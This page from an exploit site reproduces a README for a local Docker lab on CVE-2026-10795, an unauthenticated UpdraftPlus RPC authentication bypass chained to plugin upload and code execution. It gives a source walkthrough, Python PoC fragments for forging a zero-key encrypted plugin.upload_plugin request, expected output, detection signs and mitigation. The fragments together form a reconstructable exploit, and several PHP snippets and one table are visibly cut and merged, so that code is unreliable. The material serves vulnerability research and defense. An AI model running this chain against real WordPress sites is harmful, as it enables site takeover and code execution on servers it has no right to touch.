Share
## https://sploitus.com/exploit?id=D84F8A25-5F36-52AC-B454-01D5ECE7059F
# CVE Lab: CVE-2026-10795 - UpdraftPlus UpdraftCentral RPC Authentication Bypass Chained to Plugin Installation

## Executive Summary

This repository contains a local Docker lab for reproducing and validating CVE-2026-10795, an unauthenticated authentication bypass vulnerability affecting the UpdraftPlus WordPress plugin through its UpdraftCentral remote communication layer.

The vulnerable behavior exists in the UpdraftCentral RPC message handling flow. In vulnerable versions, a forged `format=1` RPC message can bypass signature verification, trigger a failed RSA decrypt path, and still reach symmetric decryption with a predictable null key/null IV behavior. This allows a crafted encrypted RPC message to be accepted and dispatched as an UpdraftCentral command.

This lab compares two UpdraftPlus versions:

| Service   | UpdraftPlus version | Purpose                      | URL                     |
| --------- | ------------------: | ---------------------------- | ----------------------- |
| `vuln`    |              1.26.4 | Vulnerable comparison target | `http://127.0.0.1:8081` |
| `patched` |              1.26.5 | Patched comparison target    | `http://127.0.0.1:8082` |

The demonstrated chain is:

```text
Unauthenticated attacker
โ†’ forged UpdraftCentral RPC request
โ†’ format=1 signature verification bypass
โ†’ failed RSA decrypt not rejected in vulnerable version
โ†’ predictable zero-key/zero-IV decrypt path
โ†’ forged JSON RPC command accepted
โ†’ privileged UpdraftCentral command dispatch
โ†’ plugin.upload_plugin
โ†’ install and activate marker plugin
โ†’ hard-coded /usr/bin/id proof endpoint
```

The primary vulnerability is authentication bypass. The lab demonstrates that the bypass can be chained to an RCE-style impact when a privileged UpdraftCentral key state is present, because UpdraftCentral exposes legitimate plugin management commands that can install and activate WordPress plugins.

This is not a direct command injection vulnerability. The code execution proof comes from abusing authenticated plugin installation functionality after bypassing the RPC authentication boundary.

This lab is designed for controlled local research, source-level understanding, and portfolio demonstration only.

## Verified Facts

| Claim                                                                  | Evidence                                                                                              | How to verify in this lab                                          |
| ---------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------ |
| UpdraftPlus 1.26.4 is vulnerable in this lab.                          | The vulnerable service accepts a forged `format=1` RPC message and dispatches `plugin.upload_plugin`. | Run `python3 poc/poc.py --url http://127.0.0.1:8081`.              |
| UpdraftPlus 1.26.5 blocks the forged message in this lab.              | The patched service returns no RPC response body and does not dispatch the forged command.            | Run `python3 poc/poc.py --url http://127.0.0.1:8082`.              |
| The issue is an authentication bypass in the UpdraftCentral RPC layer. | A forged unauthenticated RPC request can reach command dispatch in the vulnerable version.            | Compare `--ping` behavior between ports `8081` and `8082`.         |
| The lab does not pre-install the marker plugin.                        | The setup only installs WordPress, UpdraftPlus, and a local UpdraftCentral key state.                 | Check `/wp-json/cve-lab/v1/id` before running the PoC.             |
| The PoC installs the marker plugin through forged RPC.                 | The PoC sends `plugin.upload_plugin` with a ZIP plugin payload in the RPC data field.                 | Run the PoC and then request `/wp-json/cve-lab/v1/id`.             |
| The vulnerable target reaches RCE-style impact.                        | The marker plugin exposes a hard-coded endpoint that returns `/usr/bin/id` output.                    | The vulnerable target returns `uid=33(www-data) gid=33(www-data)`. |
| The patched target does not install the marker plugin.                 | The marker endpoint returns `404 rest_no_route` on the patched service.                               | Run the PoC against `http://127.0.0.1:8082`.                       |
| The lab requires an UpdraftCentral key state.                          | UpdraftCentral dispatch depends on a local key entry and associated metadata.                         | Review `scripts/setup-wordpress.sh`.                               |

## Assumptions and Unknowns

This lab intentionally seeds a local UpdraftCentral key state to reproduce a site condition where remote control has been configured.

The seeded key state is a lab prerequisite, not the vulnerability itself. It allows the lab to consistently exercise the vulnerable RPC parsing and decryption path.

The lab does not claim that every UpdraftPlus installation is immediately exploitable. The demonstrated chain depends on the presence of an UpdraftCentral local key entry that is associated with a privileged WordPress user.

The lab demonstrates a controlled RCE-style impact by installing a marker plugin that exposes a hard-coded `/usr/bin/id` proof endpoint. It does not provide a generic web shell, arbitrary command execution parameter, reverse shell, persistence mechanism, credential theft, or external callback.

The PoC is scoped to local targets only and refuses non-local hostnames by default.

## Root Cause Summary

The root cause is improper validation of UpdraftCentral RPC messages in vulnerable versions of UpdraftPlus.

The vulnerable RPC flow accepts a `format=1` message. The `format=1` path does not require the same signature verification as newer message formats.

The high-level issue is:

```text
format=1 message
โ†’ signature verification is bypassed
โ†’ RSA decrypt of the symmetric key can fail
โ†’ failed decrypt result is not rejected
โ†’ false is passed into the symmetric cipher as a key
โ†’ phpseclib normalizes this into a predictable null key path
โ†’ attacker-controlled encrypted JSON can decrypt successfully
โ†’ command is dispatched
```

In vulnerable behavior, RSA decryption can return:

```text
false
```

Instead of rejecting that failed decrypt result, the vulnerable flow continues and passes the value into the symmetric decryption layer.

The effective vulnerable pattern is:

```php
$sym_key = $rsa->decrypt($sym_key);
$rij->setKey($sym_key);
$decrypted = $rij->decrypt($ciphertext);
```

The problem is that `$sym_key` is not validated before it is used.

When `$sym_key` is `false`, the cipher setup follows a predictable null key/null IV behavior. This makes it possible to craft an encrypted RPC payload using a known zero key and zero IV.

The patched version adds a guard before the symmetric key is used:

```php
if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) install()
โ†’ activate_plugin()
```

The patched version blocks the forged message before this command path is reached.

## Source-Level Walkthrough

This section explains the vulnerable path at source-code level and maps each PoC step to the relevant UpdraftPlus / UpdraftCentral behavior.

The lab does not rely on a fake vulnerable application route. The vulnerable behavior is reached through the real UpdraftCentral RPC listener and the real UpdraftCentral plugin-management command path.

The important source areas are:

```text
vendor/team-updraft/common-libs/src/updraft-rpc/class-udrpc2.php
central/bootstrap.php
central/listener.php
central/commands.php
central/modules/plugin.php
```

### Listener Creation

The vulnerable RPC path starts when WordPress receives a POST request containing:

```text
udrpc_message
format
key_name
```

The RPC library registers a listener on WordPress `wp_loaded` when those POST fields exist.

Conceptually, the flow is:

```php
if (!empty($_POST['udrpc_message']) && !empty($_POST['format'])) {
    add_action('wp_loaded', array($this, 'wp_loaded'));
    add_action('wp_loaded', array($this, 'wp_loaded_final'), 10000);
}
```

This means the attacker does not need to know a special REST endpoint or admin URL. The forged RPC request is sent as a normal POST request to the WordPress site root.

The PoC sends:

```text
POST /
format=1
key_name=0.central.updraftplus.com
udrpc_message=
```

The request reaches the same listener path used by legitimate UpdraftCentral remote communication.

### Key Name Matching

UpdraftCentral stores local remote-control keys in WordPress options. In this lab, the setup script seeds a controlled key state for both the vulnerable and patched targets.

The relevant key name is:

```text
0.central.updraftplus.com
```

This format is produced by the UpdraftCentral key indicator logic:

```php
private function indicator_name_from_index($index) {
    return $index.'.central.updraftplus.com';
}
```

The listener only continues if the unencrypted POST field matches the expected key indicator:

```php
if (empty($_POST['key_name']) || $_POST['key_name'] != $this->key_name_indicator) {
    return;
}
```

The PoC therefore sets:

```python
KEY_NAME = "0.central.updraftplus.com"
```

This is not the vulnerability. It is a lab prerequisite that lets the test exercise the vulnerable RPC parsing and decryption path in a reproducible way.

### Format Handling and Signature Bypass

UpdraftCentral supports message formats. The important distinction is:

```text
format=1  legacy path
format=2  signed message path
```

In the vulnerable code path, signature verification only happens when the format is greater than or equal to 2:

```php
if ($format >= 2) {
    if (empty($_POST['signature'])) {
        die;
    }

    if (!$this->key_remote) {
        die;
    }

    if (!$this->verify_signature($udrpc_message, $_POST['signature'], $this->key_remote)) {
        die;
    }
}
```

Because the PoC uses:

```text
format=1
```

this signature verification block is skipped.

That is the authentication bypass boundary.

A legitimate `format=2` message is expected to include a valid signature. The forged `format=1` message does not need one, so the attacker-controlled message can continue to the decrypt path.

### Vulnerable Decryption Flow

After format and key-name checks, the listener decrypts the submitted `udrpc_message`.

The vulnerable decryption flow in UpdraftPlus 1.26.4 is effectively:

```php
$rsa->loadKey($this->key_local);

$sym_key = base64_decode($sym_key);
$sym_key = $rsa->decrypt($sym_key);

$rij->setKey($sym_key);

return $rij->decrypt($ciphertext);
```

The bug is between these two operations:

```php
$sym_key = $rsa->decrypt($sym_key);
$rij->setKey($sym_key);
```

If RSA decryption fails, `$rsa->decrypt()` can return:

```php
false
```

The vulnerable version does not reject that value before passing it into:

```php
$rij->setKey($sym_key);
```

The patched version fixes this by adding validation:

```php
if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) setKeyLength(strlen($key) key = $key;
```

When `$key` is `false`, `strlen(false)` behaves like a zero-length key case.

The Rijndael key-length logic rounds very small key sizes up to a valid minimum key length:

```php
case $length key_length = 16;
    break;
```

The cipher setup then pads the key and IV with null bytes:

```php
$this->encryptIV = $this->decryptIV =
    str_pad(substr($this->iv, 0, $this->block_size), $this->block_size, "\0");

$this->key =
    str_pad(substr($this->key, 0, $this->key_length), $this->key_length, "\0");
```

So the attacker can model the vulnerable decrypt behavior as:

```text
AES/Rijndael-CBC
key = 16 null bytes
iv  = 16 null bytes
```

This is why the PoC can encrypt a JSON RPC command locally and have the vulnerable target decrypt it successfully.

### Message Structure Used by the PoC

The vulnerable decrypt function expects the encrypted message to contain:

```text
3 hex chars     length of RSA-encrypted symmetric key, as base64 text
N chars         base64 RSA-encrypted symmetric key
16 hex chars    length of ciphertext, as base64 text
M chars         base64 encrypted message body
```

The PoC builds this structure manually:

```python
bad_sym_key_b64 = base64.b64encode(BAD_RSA_BLOCK).decode("ascii")
ciphertext_b64 = base64.b64encode(encrypted_inner_json).decode("ascii")

sym_key_len = f"{len(bad_sym_key_b64):03x}"
ciphertext_len = f"{len(ciphertext_b64):016x}"

udrpc_message = f"{sym_key_len}{bad_sym_key_b64}{ciphertext_len}{ciphertext_b64}"
```

The RSA block is intentionally invalid:

```python
BAD_RSA_BLOCK = b"CVE-2026-10795-LAB-BAD-RSA-BLOCK"
```

On UpdraftPlus 1.26.4, that invalid RSA block causes RSA decrypt to fail, but the failure is not rejected.

On UpdraftPlus 1.26.5, the failed decrypt result is rejected by the new guard and the forged message does not reach command dispatch.

### Inner JSON RPC Message

The encrypted inner message is a normal UpdraftCentral-style JSON command.

For ping validation, the PoC uses:

```json
{
  "command": "ping",
  "time": 1710000000,
  "key_name": "0.central.updraftplus.com",
  "rand": 123456
}
```

For the default ID proof, the PoC uses:

```json
{
  "command": "plugin.upload_plugin",
  "time": 1710000000,
  "key_name": "0.central.updraftplus.com",
  "rand": 123456,
  "data": {
    "filename": "cve-2026-10795-id-marker.zip",
    "data": "",
    "activate": true
  }
}
```

The `key_name` appears both outside and inside the encrypted message. The listener checks that both match:

```php
if (empty($udrpc_message['key_name']) || $_POST['key_name'] != $udrpc_message['key_name']) {
    die;
}
```

That is why the PoC must include the same key name in both places.

### JSON Validation Before Dispatch

After decrypting the message, the listener parses it as JSON:

```php
$udrpc_message = json_decode($udrpc_message, true);
```

The message must contain a valid command:

```php
if (empty($udrpc_message) || !is_array($udrpc_message) || empty($udrpc_message['command']) || !is_string($udrpc_message['command'])) {
    die;
}
```

It must also contain a timestamp:

```php
if (empty($udrpc_message['time'])) {
    die;
}
```

The timestamp must be within the allowed replay window:

```php
$time_difference = absint($udrpc_message['time'] - time());

if ($time_difference > $this->maximum_replay_time_difference) {
    die;
}
```

The PoC therefore sets the inner `time` field to the current time.

### Command Dispatch

After the message is decrypted and validated, UpdraftCentral dispatches the command.

Commands use a prefix format:

```text
.
```

For example:

```text
plugin.upload_plugin
```

This becomes:

```text
prefix = plugin
method = upload_plugin
```

The listener resolves the command class from the prefix and then calls the method dynamically:

```php
$msg = apply_filters(
    'updraftcentral_listener_udrpc_action',
    call_user_func(array($command_class, $command), $data, $extra_info),
    $command_class,
    $class_prefix,
    $command,
    $data,
    $extra_info
);
```

For the PoC command:

```text
plugin.upload_plugin
```

the listener calls:

```php
UpdraftCentral_Plugin_Commands::upload_plugin($data)
```

This is why the PoC does not need a direct command-injection sink. It reaches a legitimate privileged UpdraftCentral command after bypassing the RPC authentication boundary.

### User Context and Capability Checks

The listener can set the current WordPress user from the UpdraftCentral key metadata:

```php
if (!empty($extra_info['user_id'])) {
    wp_set_current_user($extra_info['user_id']);
}
```

In this lab, the seeded key has:

```text
extra_info.user_id = 1
```

That simulates a configured UpdraftCentral key associated with the administrator user created during WordPress setup.

This matters because the plugin upload path checks WordPress capabilities:

```php
if (!current_user_can('install_plugins') || !current_user_can('activate_plugins')) {
    $permission_error = true;
}
```

So the bypass alone gets the forged command into the RPC layer. The seeded key metadata determines which WordPress user context the command runs under.

In this lab, the command runs in admin context because the key is associated with user ID 1.

### Plugin Upload Sink

The command method is:

```php
public function upload_plugin($params) {
    return $this->process_chunk_upload($params, 'plugin');
}
```

The shared upload handler expects plugin upload data:

```text
filename
data
activate
```

The PoC sends:

```python
{
    "filename": "cve-2026-10795-id-marker.zip",
    "data": base64.b64encode(zip_bytes).decode("ascii"),
    "activate": True,
}
```

The upload handler writes the ZIP content to a temporary file:

```php
$result = file_put_contents(
    $upload_dir.'/'.$filename,
    base64_decode($params['data']),
    FILE_APPEND | LOCK_EX
);
```

For a non-chunked upload, installation proceeds immediately:

```php
$install_now = true;
```

The handler then builds a ZIP path:

```php
$zip_filepath = $upload_dir.'/'.$filename;
```

and installs it using the UpdraftCentral plugin upgrader:

```php
$upgrader = new UpdraftCentral_Plugin_Upgrader($skin);
$install_result = $upgrader->install($zip_filepath);
```

If installation succeeds and `activate` is true, the code activates the installed plugin:

```php
if ((bool) $params['activate'] && !$is_active) {
    $activate = activate_plugin($data['slug']);
}
```

A successful install response contains:

```php
return $this->_response(
    array(
        'installed' => true,
        'installed_data' => $data,
    )
);
```

This is the source-level reason why a forged RPC authentication bypass can be chained to WordPress plugin installation and activation.

### Marker Plugin

The marker plugin is generated by the PoC in memory. It is not pre-installed by Docker setup.

The generated ZIP contains:

```text
cve-2026-10795-id-marker/
โ””โ”€โ”€ cve-2026-10795-id-marker.php
```

The marker plugin registers one REST route:

```text
/wp-json/cve-lab/v1/id
```

The endpoint returns:

```text
lab
plugin
proof
uid
gid
user
id_output
```

The only command executed by the marker plugin is hard-coded:

```php
shell_exec('/usr/bin/id 2>&1');
```

There is no user-controlled `cmd` parameter.

This is intentional. The lab proves plugin-code execution while avoiding a generic web shell.

### Why the Patched Target Returns 404

The patched service receives the same forged request and has the same seeded key state.

The difference is the patched decrypt guard:

```php
if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) = 2`            | Signature not required         | Signature not required for `format=1`, but later blocked |
| Send invalid RSA block             | RSA decrypt returns invalid symmetric key                | Invalid key reaches `setKey()` | Invalid key rejected                                     |
| Encrypt JSON with null key/null IV | Models phpseclib fallback behavior after `setKey(false)` | Decrypts into valid JSON       | Does not decrypt                                         |
| Set `command=ping`                 | Tests crypto bypass and dispatch only                    | `PING DISPATCHED`              | `PING NOT DISPATCHED`                                    |
| Set `command=plugin.upload_plugin` | Calls UpdraftCentral plugin upload method                | Plugin ZIP installed           | Command not reached                                      |
| Set `activate=true`                | Triggers `activate_plugin()` after install               | Marker plugin active           | Marker plugin absent                                     |
| Request `/wp-json/cve-lab/v1/id`   | Checks whether marker plugin code is running             | Returns `uid=33(www-data)`     | Returns `404 rest_no_route`                              |

## How the PoC Code Maps to the Vulnerability

The PoC starts by refusing non-local targets:

```python
allowed_hosts = {"127.0.0.1", "localhost", "::1"}

if host not in allowed_hosts:
    raise ValueError("Refusing non-local target")
```

This keeps the script scoped to the Docker lab.

The PoC builds the inner RPC message:

```python
inner = {
    "command": command,
    "time": int(time.time()),
    "key_name": KEY_NAME,
    "rand": random.randint(1, 2_147_483_647),
}
```

If the default ID proof is used, the command is:

```python
command = "plugin.upload_plugin"
```

and the data is:

```python
{
    "filename": "cve-2026-10795-id-marker.zip",
    "data": base64.b64encode(zip_bytes).decode("ascii"),
    "activate": True,
}
```

The PoC then encrypts the inner JSON with the predictable vulnerable cipher state:

```python
ZERO_KEY = b"\x00" * 16
ZERO_IV = b"\x00" * 16

cipher = AES.new(ZERO_KEY, AES.MODE_CBC, iv=ZERO_IV)
ciphertext = cipher.encrypt(pad(plaintext, AES.block_size))
```

This matches the vulnerable consequence of passing `false` into the symmetric cipher setup.

The PoC intentionally uses a bad RSA block:

```python
BAD_RSA_BLOCK = b"CVE-2026-10795-LAB-BAD-RSA-BLOCK"
```

The resulting `udrpc_message` is built in the same length-prefixed format that the RPC decrypt function expects:

```python
sym_key_len = f"{len(bad_sym_key_b64):03x}"
ciphertext_len = f"{len(ciphertext_b64):016x}"

return f"{sym_key_len}{bad_sym_key_b64}{ciphertext_len}{ciphertext_b64}"
```

Finally, the PoC sends the forged RPC request:

```python
fields = {
    "format": "1",
    "key_name": KEY_NAME,
    "udrpc_message": build_udrpc_message(command, data),
}

requests.post(target, data=fields, timeout=timeout)
```

On the vulnerable target, the server response contains a valid RPC-style JSON response body. The PoC treats that as:

```text
RPC DISPATCHED
```

After dispatch, the PoC verifies the impact by requesting the marker endpoint:

```text
GET /wp-json/cve-lab/v1/id
```

If the marker plugin was installed and activated, the endpoint returns:

```text
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

That output proves that the forged unauthenticated RPC message reached a privileged plugin installation path and activated attacker-supplied plugin code inside the local lab.

## What the Lab Proves

This lab proves the following technical chain:

```text
1. UpdraftPlus 1.26.4 accepts a forged format=1 UpdraftCentral RPC message.
2. The forged message does not need a valid signature.
3. A failed RSA decrypt result is not rejected before symmetric decrypt.
4. The symmetric decrypt path becomes predictable enough to craft a valid JSON command.
5. The JSON command reaches UpdraftCentral command dispatch.
6. The dispatched command can call plugin.upload_plugin.
7. plugin.upload_plugin can install and activate a ZIP plugin.
8. Activated plugin code runs in the web server context.
9. UpdraftPlus 1.26.5 blocks the same forged message before dispatch.
```

The lab does not prove that every installation is exploitable without prerequisites.

The required prerequisite for this demonstration is:

```text
an existing UpdraftCentral local key state associated with a privileged WordPress user
```

The Docker setup creates that prerequisite in both targets so the difference between vulnerable and patched behavior can be tested fairly.

## Lab Architecture

The lab runs two isolated WordPress installations through Docker Compose.

```text
.
โ”œโ”€โ”€ docker-compose.yml
โ”œโ”€โ”€ scripts/
โ”‚   โ””โ”€โ”€ setup-wordpress.sh
โ”œโ”€โ”€ vuln/
โ”‚   โ””โ”€โ”€ Dockerfile
โ”œโ”€โ”€ patched/
โ”‚   โ””โ”€โ”€ Dockerfile
โ”œโ”€โ”€ poc/
โ”‚   โ””โ”€โ”€ poc.py
โ”œโ”€โ”€ requirements.txt
โ”œโ”€โ”€ README.md
โ””โ”€โ”€ .gitignore
```

The two WordPress services run separate databases and separate UpdraftPlus versions:

| Service         | Component               | Version / Role                                                   |
| --------------- | ----------------------- | ---------------------------------------------------------------- |
| `vuln`          | WordPress + UpdraftPlus | UpdraftPlus 1.26.4 vulnerable target                             |
| `patched`       | WordPress + UpdraftPlus | UpdraftPlus 1.26.5 patched target                                |
| `vuln_db`       | MariaDB                 | Database for the vulnerable target                               |
| `patched_db`    | MariaDB                 | Database for the patched target                                  |
| `vuln_setup`    | WP-CLI setup service    | Installs WordPress, activates UpdraftPlus, seeds local key state |
| `patched_setup` | WP-CLI setup service    | Installs WordPress, activates UpdraftPlus, seeds local key state |

Default exposed services:

```text
Vulnerable target: http://127.0.0.1:8081
Patched target:    http://127.0.0.1:8082
```

The setup process seeds the same UpdraftCentral key state into both services:

```text
key_name: 0.central.updraftplus.com
extra_info.user_id: 1
```

This gives both targets the same prerequisite state. The difference in behavior comes from the vulnerable versus patched UpdraftPlus code, not from different lab setup.

## Requirements

* Docker Desktop or Docker Engine
* Docker Compose v2
* Python 3
* Python virtual environment support
* Internet access during Docker image build
* Python packages listed in `requirements.txt`

Python dependencies:

```text
requests
urllib3
```

Example vulnerable target:

```bash
python3 poc/poc.py --url http://127.0.0.1:8081
```

Example patched target:

```bash
python3 poc/poc.py --url http://127.0.0.1:8082
```

Optional ping-only validation:

```bash
python3 poc/poc.py --ping --url http://127.0.0.1:8081
python3 poc/poc.py --ping --url http://127.0.0.1:8082
```

Supported options:

| Option      | Required | Purpose                                                 |
| ----------- | -------- | ------------------------------------------------------- |
| `--url`     | Yes      | Local lab target URL                                    |
| `--ping`    | No       | Run harmless forged ping validation instead of ID proof |
| `--timeout` | No       | HTTP timeout in seconds. Default: `15`                  |

Accepted target hosts:

```text
127.0.0.1
localhost
::1
```

The PoC refuses non-local targets by default.

## How the PoC Works

The PoC runs from the host machine and sends HTTP requests to the exposed Docker services.

The default PoC action is the ID proof.

The high-level flow is:

```text
1. Receive explicit --url target from the tester
2. Refuse non-local targets
3. Build a marker WordPress plugin ZIP in memory
4. Create a forged UpdraftCentral RPC message
5. Send command plugin.upload_plugin through format=1
6. Trigger the vulnerable decrypt/dispatch path on UpdraftPlus 1.26.4
7. Install and activate the marker plugin
8. Request /wp-json/cve-lab/v1/id
9. Print the hard-coded /usr/bin/id output
```

The marker plugin is not stored in the repository as a standalone plugin file. It is generated in memory by the PoC.

The forged RPC command is:

```text
plugin.upload_plugin
```

The RPC data contains:

```text
filename = cve-2026-10795-id-marker.zip
data     = base64(plugin_zip)
activate = true
```

The PoC encrypts the inner JSON RPC message using:

```text
AES-CBC
key = 16 null bytes
iv  = 16 null bytes
```

It also includes an intentionally invalid RSA-encrypted symmetric key block.

On the vulnerable version, the RSA decrypt failure is not rejected. The message continues into the predictable null-key decrypt path and the forged command is dispatched.

On the patched version, the invalid symmetric key is rejected and the forged command is not dispatched.

## Why `--ping` Exists

The `--ping` option is a debugging aid.

It validates only the crypto bypass and RPC dispatch boundary. It does not upload a plugin and does not run `/usr/bin/id`.

Use `--ping` when the default ID proof does not work and the failure needs to be isolated.

If `--ping` fails, the issue is likely before command execution:

```text
wrong key state
wrong key_name
message format issue
encryption mismatch
listener not active
patched behavior
```

If `--ping` succeeds but the ID proof fails, the issue is likely after dispatch:

```text
plugin.upload_plugin data issue
ZIP plugin format issue
filesystem permission issue
plugin activation issue
REST endpoint registration issue
```

Expected ping behavior:

```text
1.26.4 vulnerable target โ†’ PING DISPATCHED
1.26.5 patched target    โ†’ PING NOT DISPATCHED
```

## Expected Results

### Vulnerable Target

Command:

```bash
python3 poc/poc.py --url http://127.0.0.1:8081
```

Expected vulnerable signal:

```text
CVE-2026-10795 local lab-only ID validation
Scope         : localhost / Docker lab only
Technique     : forged format=1 plugin.upload_plugin with hard-coded id marker plugin
Safety        : no generic web shell, no cmd parameter, no external targets
Key name      : 0.central.updraftplus.com
Marker plugin : cve-2026-10795-id-marker/cve-2026-10795-id-marker.php
========================================================================================
Target        : http://127.0.0.1:8081/
Command       : plugin.upload_plugin
Decision      : RPC DISPATCHED
HTTP status   : 200
Body bytes    : non-zero
RPC JSON seen : True
Resp. format  : 2
----------------------------------------------------------------------------------------
ID endpoint   : http://127.0.0.1:8081/wp-json/cve-lab/v1/id
Marker active : True
HTTP status   : 200
id output     : uid=33(www-data) gid=33(www-data) groups=33(www-data)
========================================================================================
Interpretation:
  UpdraftPlus 1.26.4 should show RPC DISPATCHED and Marker active: True
  UpdraftPlus 1.26.5 should show RPC NOT DISPATCHED and Marker active: False
  id output should be a hard-coded local proof such as uid=33(www-data).
```

### Patched Target

Command:

```bash
python3 poc/poc.py --url http://127.0.0.1:8082
```

Expected patched signal:

```text
CVE-2026-10795 local lab-only ID validation
Scope         : localhost / Docker lab only
Technique     : forged format=1 plugin.upload_plugin with hard-coded id marker plugin
Safety        : no generic web shell, no cmd parameter, no external targets
Key name      : 0.central.updraftplus.com
Marker plugin : cve-2026-10795-id-marker/cve-2026-10795-id-marker.php
========================================================================================
Target        : http://127.0.0.1:8082/
Command       : plugin.upload_plugin
Decision      : RPC NOT DISPATCHED
HTTP status   : 200
Body bytes    : 0
RPC JSON seen : False
Body prefix   : ''
----------------------------------------------------------------------------------------
ID endpoint   : http://127.0.0.1:8082/wp-json/cve-lab/v1/id
Marker active : False
HTTP status   : 404
Body prefix   : '{"code":"rest_no_route","message":"No route was found matching the URL and request method.","data":{"status":404}}'
========================================================================================
Interpretation:
  UpdraftPlus 1.26.4 should show RPC DISPATCHED and Marker active: True
  UpdraftPlus 1.26.5 should show RPC NOT DISPATCHED and Marker active: False
  id output should be a hard-coded local proof such as uid=33(www-data).
```

## Manual Verification Commands

Check service health:

```bash
docker compose ps
```

Inspect vulnerable service metadata:

```bash
curl -s http://127.0.0.1:8081/cve-lab-inspector.php | python3 -m json.tool
```

Inspect patched service metadata:

```bash
curl -s http://127.0.0.1:8082/cve-lab-inspector.php | python3 -m json.tool
```

Check runtime plugin state:

```bash
curl -s 'http://127.0.0.1:8081/cve-lab-inspector.php?runtime=1' | python3 -m json.tool
curl -s 'http://127.0.0.1:8082/cve-lab-inspector.php?runtime=1' | python3 -m json.tool
```

Run ping-only validation:

```bash
python3 poc/poc.py --ping --url http://127.0.0.1:8081
python3 poc/poc.py --ping --url http://127.0.0.1:8082
```

Run ID proof:

```bash
python3 poc/poc.py --url http://127.0.0.1:8081
python3 poc/poc.py --url http://127.0.0.1:8082
```

Check marker endpoint directly after running the PoC:

```bash
curl -s http://127.0.0.1:8081/wp-json/cve-lab/v1/id | python3 -m json.tool
curl -s http://127.0.0.1:8082/wp-json/cve-lab/v1/id | python3 -m json.tool
```

Expected:

```text
8081 โ†’ marker endpoint exists and returns id output
8082 โ†’ marker endpoint returns 404 rest_no_route
```

Check installed plugins inside the vulnerable container:

```bash
docker compose exec -T vuln sh -lc \
  'find /var/www/html/wp-content/plugins -maxdepth 2 -type f | sort | grep cve-2026-10795 || true'
```

Check installed plugins inside the patched container:

```bash
docker compose exec -T patched sh -lc \
  'find /var/www/html/wp-content/plugins -maxdepth 2 -type f | sort | grep cve-2026-10795 || true'
```

The vulnerable service should contain the marker plugin after the PoC runs. The patched service should not.

## Impact

This lab demonstrates that an unauthenticated attacker can forge an UpdraftCentral RPC message that reaches privileged command dispatch in UpdraftPlus 1.26.4 when a suitable UpdraftCentral key state exists.

The demonstrated impact is RCE-style because the forged RPC command abuses legitimate plugin management functionality:

```text
plugin.upload_plugin
โ†’ install plugin ZIP
โ†’ activate plugin
โ†’ execute plugin code in the web server context
```

The local proof shows execution as the web server user:

```text
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

The vulnerability category remains authentication bypass. The code execution result is a chained impact through privileged WordPress plugin installation.

## Detection and Monitoring

Potential indicators include unauthenticated POST requests to the WordPress front page containing UpdraftCentral RPC fields:

```text
format
key_name
udrpc_message
signature
```

Suspicious characteristics:

```text
format=1
key_name ending with .central.updraftplus.com
large udrpc_message value
unexpected unauthenticated POST requests to /
repeated RPC attempts with empty or unusual response bodies
new unexpected plugin directories under wp-content/plugins
new plugin activation events
REST routes appearing unexpectedly after a suspicious request
```

Local lab indicators:

```text
POST / with format=1 and udrpc_message
new plugin directory: wp-content/plugins/cve-2026-10795-id-marker
new REST route: /wp-json/cve-lab/v1/id
id output: uid=33(www-data)
```

Production monitoring ideas:

* Review web access logs for POST requests containing `udrpc_message`.
* Alert on `format=1` RPC requests from untrusted sources.
* Review UpdraftPlus and UpdraftCentral logs if available.
* Monitor unexpected plugin installation or activation events.
* Monitor filesystem changes under `wp-content/plugins`.
* Review administrator users and remote management integrations.
* Check whether UpdraftPlus is older than the fixed version.
* Remove stale or unused UpdraftCentral remote-control keys.

## Mitigation and Patch Notes

Upgrade UpdraftPlus to version 1.26.5 or later.

The patched version rejects invalid decrypted symmetric keys before symmetric decryption and command dispatch.

Recommended mitigation steps:

* Upgrade UpdraftPlus.
* Review whether UpdraftCentral remote control is enabled or has been configured.
* Remove stale UpdraftCentral keys if remote control is not needed.
* Review WordPress administrator accounts.
* Review installed plugins for unexpected additions.
* Review access logs for suspicious `udrpc_message` requests.
* Rotate credentials if compromise is suspected.
* Restore from known-good backups if unauthorized plugin installation is confirmed.
* Use a WAF rule only as a temporary layer, not as a replacement for patching.

The most important fix is to run a patched UpdraftPlus version that rejects invalid symmetric keys before decryption and dispatch.

## Cleanup

Stop containers and remove networks:

```bash
docker compose down --remove-orphans
```

Remove containers, networks, and volumes:

```bash
docker compose down -v --remove-orphans
```

Remove Python virtual environment:

```bash
rm -rf venv
```

Remove local evidence files if created:

```bash
rm -rf evidence/
```

## Safety Boundaries

This lab is for local security research and controlled demonstration only.

Do not run the PoC against systems you do not own or do not have explicit permission to test.

Do not use real credentials, production secrets, or external targets in this lab.

The PoC is intentionally scoped to local Docker services such as:

```text
http://127.0.0.1:8081
http://127.0.0.1:8082
http://localhost:8081
http://localhost:8082
```

The PoC refuses non-local targets by default.

The marker plugin does not implement a generic command execution parameter. It only exposes a hard-coded local proof endpoint that runs `/usr/bin/id`.

This lab does not include:

```text
generic web shell
cmd parameter
reverse shell
credential extraction
database dumping
persistence
external callback
lateral movement
production exploitation workflow
```

The goal is to demonstrate one specific technical condition in a controlled environment:

```text
unauthenticated forged RPC
+ vulnerable format=1 validation behavior
+ failed RSA decrypt not rejected
+ predictable symmetric decrypt path
+ privileged UpdraftCentral command dispatch
+ plugin upload and activation
+ patched version blocks before dispatch
```

## References

* NVD: CVE-2026-10795
  https://nvd.nist.gov/vuln/detail/CVE-2026-10795

* Wordfence Vulnerability Database: UpdraftPlus
  https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/updraftplus

* Patchstack Database: UpdraftPlus
  https://patchstack.com/database/

* WordPress.org Plugin: UpdraftPlus
  https://wordpress.org/plugins/updraftplus/

* WordPress.org Plugin SVN
  https://plugins.svn.wordpress.org/updraftplus/

* WordPress.org Plugin SVN Tags
  https://plugins.svn.wordpress.org/updraftplus/tags/

* TeamUpdraft: UpdraftCentral
  https://updraftplus.com/updraftcentral/

* OWASP: Authentication Cheat Sheet
  https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html

* OWASP: Web Security Testing Guide
  https://owasp.org/www-project-web-security-testing-guide/